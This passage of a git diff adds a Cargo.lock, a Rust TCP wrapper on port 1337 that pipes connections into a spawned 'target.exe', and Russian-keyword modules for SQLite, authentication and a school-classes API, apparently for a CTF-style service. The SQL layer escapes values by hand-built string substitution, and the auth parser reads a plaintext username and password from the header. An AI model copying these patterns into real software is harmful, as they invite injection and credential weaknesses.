"serde_urlencoded", + "sync_wrapper", + "tokio", + "tower", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "axum-core" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59446ce19cd142f8833f856eb31f3eb097812d1479ab224f54d72428ca21ea22" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "http-body-util", + "mime", + "pin-project-lite", + "sync_wrapper", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "bitflags" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" + +[[package]] +name = "bytes" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a" + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-core", + "futures-task", + "pin-project-lite", + "pin-utils", +] + +[[package]] +name = "http" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4a85d31aea989eead29a3aaf9e1115a180df8282431156e533de47660892565" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1efedce1fb8e6913f23e0c92de8e62cd5b772a67e7b3946df930a62566c93184" +dependencies = [ + "bytes", + "http", +] + +[[package]] +name = "http-body-util" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "pin-project-lite", +] + +[[package]] +name = "http-range-header" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9171a2ea8a68358193d15dd5d70c1c10a2afc3e7e4c5bc92bc9f025cebd7359c" + +[[package]] +name = "httparse" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3aa54a13a0dfe7fbe3a59e0c76093041720fdc77b110cc0fc260fafb4dc51e" +dependencies = [ + "atomic-waker", + "bytes", + "futures-channel", + "futures-core", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "pin-utils", + "smallvec", + "tokio", +] + +[[package]] +name = "hyper-util" +version = "0.1.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c6995591a8f1380fcb4ba966a252a4b29188d51d2b89e3a252f5305be65aea8" +dependencies = [ + "bytes", + "futures-core", + "http", + "http-body", + "hyper", + "pin-project-lite", + "tokio", + "tower-service", +] + +[[package]] +name = "itoa" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" + +[[package]] +name = "libc" +version = "0.2.177" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976" + +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34080505efa8e45a4b816c349525ebe327ceaa8559756f0356cba97ef3bf7432" + +[[package]] +name = "matchit" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3" + +[[package]] +name = "memchr" +version = "2.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "mime_guess" +version = "2.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7c44f8e672c00fe5308fa235f821cb4198414e1c77935c1ab6948d3fd78550e" +dependencies = [ + "mime", + "unicase", +] + +[[package]] +name = "mio" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d83b0086dc8ecf3ce9ae2874b2d1290252e2a30720bea58a5c6639b0092873" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.61.2", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] + +[[package]] +name = "percent-encoding" +version = "2.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "proc-macro2" +version = "1.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce25767e7b499d1b604768e7cde645d14cc8584231ea6b295e9c9eb22c02e1d1" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags", +] + +[[package]] +name = "ryu" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.145" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "402a6f66d8c709116cf22f558eab210f5a50187f702eb4d7e5ef38d9a7f1c79c" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", + "serde_core", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457" +dependencies = [ + "itoa", + "serde", + "serde_core", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a4719bff48cee6b39d12c020eeb490953ad2443b7055bd0b21fca26bd8c28b" +dependencies = [ + "libc", +] + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17129e116933cf371d018bb80ae557e889637989d8638274fb25622827b03881" +dependencies = [ + "libc", + "windows-sys 0.60.2", +] + +[[package]] +name = "syn" +version = "2.0.107" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a26dbd934e5451d21ef060c018dae56fc073894c5a7896f882928a76e6d081b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" + +[[package]] +name = "tokio" +version = "1.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff360e02eab121e0bc37a2d3b4d4dc622e6eda3a8e5253d5435ecf5bd4c68408" +dependencies = [ + "bytes", + "libc", + "mio", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af407857209536a95c8e56f8231ef2c2e2aff839b22e07a1ffcbc617e9db9fa5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-util" +version = "0.7.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14307c986784f72ef81c89db7d9e28d6ac26d16213b109ea501696195e6e3ce5" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tower" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d039ad9159c98b70ecfd540b2573b97f7f52c3e8d9f8ad57a24b916a536975f9" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "adc82fd73de2a9722ac5da747f12383d2bfdb93591ee6c58486e0097890f05f2" +dependencies = [ + "bitflags", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-body-util", + "http-range-header", + "httpdate", + "mime", + "mime_guess", + "percent-encoding", + "pin-project-lite", + "tokio", + "tokio-util", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" +dependencies = [ + "log", + "pin-project-lite", + "tracing-core", +] + +[[package]] +name = "tracing-core" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" +dependencies = [ + "once_cell", +] + +[[package]] +name = "unicase" +version = "2.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75b844d17643ee918803943289730bec8aac480150456169e647ed0b576ba539" + +[[package]] +name = "unicode-ident" +version = "1.0.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f63a545481291138910575129486daeaf8ac54aee4387fe7906919f7830c7d9d" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "wrapper" +version = "0.1.0" +dependencies = [ + "axum", + "hyper-util", + "tokio", + "tower-http", +] diff --git a/wrapper/Cargo.toml b/wrapper/Cargo.toml new file mode 100644 index 0000000..f92a687 --- /dev/null +++ b/wrapper/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "wrapper" +version = "0.1.0" +edition = "2024" + +[dependencies] +axum = "0.8.6" +hyper-util = { version = "0.1.17", features = ["server", "tokio", "http1"] } +tokio = { version = "1.48.0", features = ["full"] } +tower-http = { version = "0.6.6", features = ["fs"] } diff --git a/wrapper/src/main.rs b/wrapper/src/main.rs new file mode 100644 index 0000000..c6d2af1 --- /dev/null +++ b/wrapper/src/main.rs @@ -0,0 +1,188 @@ +use core::net::SocketAddr; +use core::time::Duration; +use std::path::PathBuf; +use std::process::Stdio; +use std::{env, error}; + +use axum::body::Body; +use axum::http::{HeaderValue, Request, header}; +use axum::middleware::Next; +use axum::response::Response; +use axum::{Router, middleware}; +use hyper_util::rt::{TokioExecutor, TokioIo}; +use hyper_util::server::conn::auto; +use hyper_util::service::TowerToHyperService; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::{TcpListener, TcpStream}; +use tokio::process::Command; +use tokio::sync::OnceCell; +use tokio::sync::mpsc::{self, Receiver}; +use tokio::task::JoinSet; +use tower_http::services::ServeDir; + +const MAX_CONCURRENT: usize = 100; +const MAX_BUFFERED: usize = 500; +const DEFAULT_BIN_PATH: &str = "../build/target.exe"; +const DEFAULT_STATIC_PATH: &str = "../frontend"; +const TIMEOUT_SECS: u64 = 10; + +static BIN_PATH: OnceCell = OnceCell::const_new(); +static STATIC_PATH: OnceCell = OnceCell::const_new(); + +#[derive(Debug)] +#[allow(dead_code)] +struct NetworkConnection(pub TcpStream, pub SocketAddr); + +#[tokio::main] +async fn main() -> Result<(), Box> { + if let Ok(path) = env::var("BIN_PATH") + && path != "" + { + BIN_PATH.set(PathBuf::from(path)).unwrap(); + } else { + BIN_PATH.set(PathBuf::from(DEFAULT_BIN_PATH)).unwrap(); + } + + if let Ok(path) = env::var("STATIC_PATH") + && path != "" + { + STATIC_PATH.set(PathBuf::from(path)).unwrap(); + } else { + STATIC_PATH.set(PathBuf::from(DEFAULT_STATIC_PATH)).unwrap(); + } + + Command::new(BIN_PATH.get().unwrap()) + .arg("-роанапур=истина") + .spawn()? + .wait() + .await?; + + let listener = TcpListener::bind("0.0.0.0:1337").await?; + let (tx, rx) = mpsc::channel::(MAX_BUFFERED); + + tokio::spawn(process_connections(rx)); + + loop { + let connection = listener.accept().await?; + if tx + .try_send(NetworkConnection(connection.0, connection.1)) + .is_err() + { + println!( + "Connection queue full, dropping connection from {}", + connection.1 + ); + } + } +} + +async fn process_connections(mut rx: Receiver) { + let mut join_set = JoinSet::new(); + + loop { + let available = MAX_CONCURRENT - join_set.len(); + tokio::select! { + connection = rx.recv(), if available > 0 => { + if let Some(connection) = connection { + join_set.spawn(handle_connection_or_timeout(connection)); + } + }, + _ = join_set.join_next(), if join_set.len() > 0 => {} + } + } +} + +async fn handle_connection_or_timeout( + connection: NetworkConnection, +) -> Result<(), Box> { + tokio::select! { + result = handle_connection(connection) => { + result + }, + _ = tokio::time::sleep(Duration::from_secs(TIMEOUT_SECS)) => { + Err("Connection timed out".into()) + } + } +} + +async fn handle_connection( + mut connection: NetworkConnection, +) -> Result<(), Box> { + let is_frontend = check_is_frontend_request(&mut connection).await?; + + if is_frontend { + return serve_frontend_file(connection).await; + } + + let mut child = Command::new(BIN_PATH.get().unwrap()) + .arg("-подшефный=истина") + .stdin(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn()?; + + let mut stderr = child.stderr.take().unwrap(); + let mut stdin = child.stdin.take().unwrap(); + + loop { + let mut tcp_buf = [0u8; 4096]; + let mut stderr_buf = [0u8; 4096]; + + tokio::select! { + result = connection.0.read(&mut tcp_buf) => match result { + Ok(how_many) => stdin.write_all(&tcp_buf[0..how_many]).await?, + Err(e) => break Err(e.into()), + }, + result = stderr.read(&mut stderr_buf) => match result { + Ok(0) => break Ok(()), + Ok(how_many) => connection.0.write_all(&stderr_buf[0..how_many]).await?, + Err(e) => break Err(e.into()), + }, + } + } +} + +async fn check_is_frontend_request( + connection: &mut NetworkConnection, +) -> Result> { + let mut peek_buf = [0u8; 8]; + let bytes_read = connection.0.peek(&mut peek_buf).await?; + + if bytes_read == 0 { + return Err("Connection closed before sending data".into()); + } + + let request_str = String::from_utf8_lossy(&peek_buf); + + return Ok(bytes_read == peek_buf.len() + && request_str.starts_with("GET") + && !request_str.ends_with("api")); +} + +async fn serve_frontend_file( + connection: NetworkConnection, +) -> Result<(), Box> { + let stream = connection.0; + + let app = Router::new() + .fallback_service( + ServeDir::new(STATIC_PATH.get().unwrap()).append_index_html_on_directories(true), + ) + .layer(middleware::from_fn(add_connection_close)); + + let tower_svc = app.into_service(); + let hyper_svc = TowerToHyperService::new(tower_svc); + + auto::Builder::new(TokioExecutor::new()) + .serve_connection(TokioIo::new(stream), hyper_svc) + .await?; + + Ok(()) +} + +async fn add_connection_close(req: Request, next: Next) -> Response { + let mut res = next.run(req).await; + + res.headers_mut() + .insert(header::CONNECTION, HeaderValue::from_static("close")); + res +} diff --git a/исх/бд/скуля/скуля.tri b/исх/бд/скуля/скуля.tri new file mode 100644 index 0000000..f479e81 --- /dev/null +++ b/исх/бд/скуля/скуля.tri @@ -0,0 +1,101 @@ +модуль скуля +осторожно // cognitohazard! + +импорт "стд::вывод" +импорт "исх/спринтф" +импорт "исх/строка" +импорт "исх/форматы/джесон" + +// c:include "sckulya.h" + +фн tri_sqlite_open(файл: Строка, оплошность := Строка): Цел64 @внеш +фн tri_sqlite_close(бд: Цел64): Цел64 @внеш +фн tri_sqlite_exec(бд: Цел64, прошение: Строка, оплошность := Строка) @внеш +фн tri_sqlite_query(бд: Цел64, прошение: Строка, результат := Строка, оплошность := Строка): Цел64 @внеш + +тип Картотека* = класс { + ручка: Цел64 := -1 +} + +фн открыть картотеку*(путь: Строка): Картотека { + пусть оплошность := "" + пусть ручка = tri_sqlite_open(путь, оплошность) + + если оплошность # "" { + авария(спринтф.ф("не удалось открыть картотеку: $стр", оплошность)) + } + + вернуть Картотека{ + ручка: ручка + } +} + +фн (к: Картотека) закрыть*() { + пусть код = tri_sqlite_close(к.ручка) + + если код # 0 { + авария(спринтф.ф("не удалось закрыть картотеку, код $цел", код)) + } +} + +фн (к: Картотека) выполнить*(прошение: Строка, оплошность := Строка) { + tri_sqlite_exec(к.ручка, прошение, оплошность) +} + +фн (к: Картотека) запросить*(прошение: Строка, оплошность := Строка): джесон.ДжесонМногоЗначений { + пусть результат := "" + пусть код = tri_sqlite_query(к.ручка, прошение, результат, оплошность) + + если оплошность # "" { + вернуть джесон.ДжесонМногоЗначений{} + } + + пусть объект = джесон.парсить(спринтф.ф("{\"данные\": $стр}", результат), оплошность) + + если оплошность # "" { + вернуть джесон.ДжесонМногоЗначений{} + } + + вернуть объект.значения[0].значение(:джесон.ДжесонМногоЗначений) +} + +тип Аргумент = класс { + +} + +фн экранировать(т аргумента: Слово64, аргумент: *): Строка { + пусть кек = аргумент(:Слово64) + + если т аргумента = тег(Строка) { + пусть знач = кек(:осторожно Строка) + + вернуть спринтф.ф("'$стр'", строка.заменить(знач, "'", "''")) + } + + если т аргумента = тег(Цел64) { + пусть знач = кек(:осторожно Цел64) + вернуть спринтф.ф("$цел", знач) + } + + авария("неподдерживаемый тип аргумента") +} + +фн (к: Картотека) запросить безопасно*(прошение: Строка, оплошность := Строка, аргументы: ...*): джесон.ДжесонМногоЗначений { + пусть части прошения = строка.разобрать(прошение, "?") + + если длина(части прошения) - 1 # длина(аргументы) { + авария("число аргументов не совпадает с числом подстановок") + } + + пусть собранное прошение := "" + + пусть ай := 0 + пока ай < длина(аргументы) { + собранное прошение := строка.собрать(собранное прошение, части прошения[ай], экранировать(тег(аргументы[ай]), нечто(аргументы[ай]))) + ай++ + } + + собранное прошение := строка.собрать(собранное прошение, части прошения[ай]) + + вернуть к.запросить(собранное прошение, оплошность) +} diff --git a/исх/бюрократия/бюрократия.tri b/исх/бюрократия/бюрократия.tri new file mode 100644 index 0000000..d06d068 --- /dev/null +++ b/исх/бюрократия/бюрократия.tri @@ -0,0 +1,28 @@ +модуль бюрократия + +импорт "исх/строка" +импорт "исх/сеть/хттп" + +тип Паспорт* = класс { + имя пользователя*: Строка := "" + пароль*: Строка := "" +} + +фн получить данные паспорта*(обращение: хттп.ХттпОбращение): мб Паспорт { + цикл [номер]заглавие среди обращение.заглавия { + если заглавие.имя = "Authorization" { + пусть части = строка.разобрать(заглавие.значение, " ") + + если длина(части) # 3 | части[0] # "Basic" { + вернуть пусто + } + + вернуть Паспорт{ + имя пользователя: части[1], + пароль: части[2], + } + } + } + + вернуть пусто +} diff --git a/исх/властелины/главный/главный.tri b/исх/властелины/главный/главный.tri new file mode 100644 index 0000000..2c889d8 --- /dev/null +++ b/исх/властелины/главный/главный.tri @@ -0,0 +1,18 @@ +модуль главный + +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/сеть/хттп/маршрутизатор" + +фн главный*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + вернуть хттп.ХттпОтвет{ + туловище: "Привет, мир!", + } +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/", массивы.Строки["GET"], главный) + + вернуть маршрутизатор +} + diff --git a/исх/властелины/классы/классы.tri b/исх/властелины/классы/классы.tri new file mode 100644 index 0000000..100e1ba --- /dev/null +++ b/исх/властелины/классы/классы.tri @@ -0,0 +1,373 @@ +модуль классы + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн список классов*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + пусть фильтр по учителю := -1 + + пусть параметр учитель = обращение.запрос-в-пути.найти("учитель") + + если параметр учитель # пусто { + пусть номер байта := 0 + строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю) + } иначе если ~админ { + фильтр по учителю := учитель^.идентификатор + } + + если фильтр по учителю = -1 { + вернуть хттп.ответ_400() + } + + пусть классы := картотека.запросить безопасно(` + SELECT id, number, letter, creator_teacher_id + FROM classes + WHERE creator_teacher_id = ? + `, оплошность, фильтр по учителю) + + пусть джесон ответ = джесон.ДжесонМногоЗначений{} + + цикл [номер телефона мамы]клass среди классы.значения { + пусть объект = клass(:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число()^.значение + пусть номер = объект.получить("number").число()^.значение + пусть буква = объект.получить("letter").строка()^ + пусть создатель = объект.получить("creator_teacher_id").число()^.значение + + пусть джесон клass = джесон.ДжесонОбъект{} + джесон клass.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор }) + джесон клass.вставить("номер", джесон.ДжесонЧисло{ значение: номер }) + джесон клass.вставить("буква", джесон.ДжесонСтрока{ значение: буква }) + джесон 